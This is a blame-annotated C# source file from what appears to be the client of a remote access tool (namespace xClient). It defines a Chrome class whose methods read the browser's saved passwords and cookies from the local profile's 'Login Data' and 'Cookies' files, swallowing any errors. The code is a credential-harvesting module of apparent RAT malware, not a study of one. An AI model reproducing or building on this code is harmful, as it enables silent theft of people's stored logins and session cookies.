2015-05-27 14:27:57 +00:00
|
|
|
|
using System;
|
|
|
|
|
using System.Collections.Generic;
|
|
|
|
|
using System.IO;
|
2015-08-02 18:50:38 +00:00
|
|
|
|
using xClient.Core.Recovery.Utilities;
|
|
|
|
|
using xClient.Core.Utilities;
|
2015-05-27 14:27:57 +00:00
|
|
|
|
|
2015-08-02 18:50:38 +00:00
|
|
|
|
namespace xClient.Core.Recovery.Browsers
|
2015-05-27 14:27:57 +00:00
|
|
|
|
{
|
|
|
|
|
public class Chrome
|
|
|
|
|
{
|
2015-08-02 18:50:38 +00:00
|
|
|
|
public static List<LoginInfo> GetSavedPasswords()
|
2015-05-27 14:27:57 +00:00
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
|
|
|
|
"Google\\Chrome\\User Data\\Default\\Login Data");
|
|
|
|
|
return ChromiumBase.Passwords(datapath, "Chrome");
|
|
|
|
|
}
|
|
|
|
|
catch (Exception)
|
|
|
|
|
{
|
|
|
|
|
return new List<LoginInfo>();
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-08-02 18:50:38 +00:00
|
|
|
|
|
|
|
|
|
public static List<ChromiumBase.ChromiumCookie> GetSavedCookies()
|
2015-05-27 14:27:57 +00:00
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
|
|
|
|
|
"Google\\Chrome\\User Data\\Default\\Cookies");
|
|
|
|
|
return ChromiumBase.Cookies(datapath, "Chrome");
|
|
|
|
|
}
|
|
|
|
|
catch (Exception)
|
|
|
|
|
{
|
|
|
|
|
return new List<ChromiumBase.ChromiumCookie>();
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
}
|